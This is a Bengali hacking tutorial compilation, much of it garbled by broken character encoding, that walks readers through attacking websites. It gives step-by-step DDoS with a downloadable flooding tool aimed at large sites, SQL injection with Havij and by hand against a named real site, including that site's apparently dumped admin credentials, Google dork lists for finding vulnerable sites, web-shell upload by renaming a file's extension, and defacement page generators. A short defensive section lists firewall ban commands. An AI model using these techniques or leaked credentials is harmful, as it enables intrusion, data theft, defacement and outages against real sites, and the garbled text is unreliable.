এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
